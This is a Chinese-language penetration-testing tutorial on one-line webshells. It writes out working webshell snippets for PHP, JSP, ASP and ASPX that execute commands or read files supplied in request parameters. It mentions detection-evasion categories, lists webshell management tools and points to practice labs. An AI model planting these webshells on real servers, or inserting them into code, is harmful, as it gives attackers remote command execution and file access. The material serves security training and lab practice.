Web渗透之一句话木马
Web渗透之一句话木马
1)常见的一句话木马及漏洞关联
常见的一句话木马(按Web语言分类):
php:<?php @eval($_POST['pass']);?>(通过POST参数pass执行命令)、<?phpsystem($_GET['cmd']);?>(通过GET参数cmd执行系统命令)
jsp:<%@page import="java.io.*"%><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>(执行参数cmd的命令)、<%newProcessBuilder(request.getParameter("cmd")).start();%>
asp:<%execute(request("pass"))%>(执行POST参数pass的命令)、<%evalrequest("code")%>
aspx:<%@Page Language="C#"%><%System.Diagnostics.Process.Start(Request["cmd"]);%>、<%Response.Write(System.IO.File.ReadAllText(Request["file"]));%>(读取文件内容)
注意一句话木马杀软/edr会检测,但是咱们可以使用免杀技术来绕过检测,常见的WebShell免杀技术有:特征值处理类,代码混淆类,加密免杀类,白名单绕过类等等,后面有时间本人开免杀指导咱们再聊这些。
黑盒查看漏洞:
功能关联:
重点关注网站的文件上传功能(如头像上传、附件上传、文档上传),尝试上传包含一句话木马的文件
检查是否有数据写入功能(如留言板、配置保存、日志记录),测试能否通过输入框写入木马代码
观察文件上传后的返回信息,如是否显示文件路径、是否允许php/jsp/asp/aspx等脚本后缀
白盒代码审计:
关键词搜索:
在源码中搜索文件上传相关函数,判断是否存在过滤不严的情况:
PHP:move_uploaded_file()、is_uploaded_file()、$_FILES
JSP:ServletFileUpload、FileItem、write()
ASP:Upload组件、FileSystemObject
ASPX:FileUpload控件、SaveAs()方法
搜索文件写入相关函数,判断是否可注入木马代码:
PHP:file_put_contents()、fwrite()、fputs()
JSP:FileWriter、BufferedWriter、OutputStreamWriter
ASP:CreateTextFile()、WriteLine()
ASPX:File.WriteAllText()、StreamWriter
2)一句话木马方法
黑盒测试:
黑盒测试(无源码,基于功能场景探测)
黑盒测试不依赖目标系统的源代码,仅通过模拟攻击者的实际操作,利用网站公开功能(如文件上传、数据提交、参数交互等)尝试植入或触发一句话木马,核心思路是“寻找可写入脚本代码的入口,并验证代码是否能被服务器解析执行”。
白盒测试:
白盒测试依赖目标系统的源代码,核心是“通过审计代码逻辑,发现可植入/触发一句话木马的漏洞点”即寻找“文件操作、命令执行、参数解析”相关代码中过滤不严、逻辑缺陷的位置,判断攻击者能否利用这些缺陷注入木马代码。
3)Webshell木马工具
冰蝎(Behinder):一款国产的Webshell管理工具,支持多种加密传输方式(如AES、RSA),能有效绕过WAF检测。支持PHP、JSP、ASP、ASPX等多种脚本类型,提供命令执行、文件管理、数据库操作等功能,界面简洁,操作便捷,是国内渗透测试人员常用工具。
菜刀(Caidao):经典的Webshell管理工具,虽然版本更新较慢,但因其轻量、稳定,仍被广泛使用。支持通过HTTP协议与一句话木马交互,可执行命令、管理文件、操作数据库等,适用于多种Web语言环境。
蚁剑(AntSword):开源的Webshell管理工具,具有模块化架构,支持自定义编码和加密方式,能灵活绕过各种安全防护。提供可视化界面,支持文件管理、命令执行、反弹shell等功能,且社区活跃,插件丰富。
CobaltStrike:国外知名的渗透测试框架,其中包含Webshell管理功能。支持生成多种类型的恶意payload,可通过Webshell实现对目标主机的持久控制,集成了团队协作、会话管理、漏洞利用等多种功能,适合高级渗透测试场景。
Weevely:一款轻量级的Python编写的Webshell工具,主要针对PHP环境。支持生成隐蔽的一句话木马,通过命令行与目标交互,提供文件操作、系统命令执行、数据库访问等功能,适合在命令行环境下进行渗透测试。
自己开发WebShell工具:当然我们也可以自己写这类工具,防止指纹被识别到。
4)靶场
DVWA:包含文件上传模块,可练习各种一句话木马的上传与利用
Upload-Labs:专注于文件上传漏洞练习,包含20多种不同的上传绕过场景
VulnHub:提供多个包含Webshell漏洞的虚拟机靶场,如Metasploitable
HackTheBox:有多个包含文件上传和反序列化漏洞的靶机,适合进阶练习
CTFtime:提供大量CTF比赛中的Webshell相关题目,适合实战训练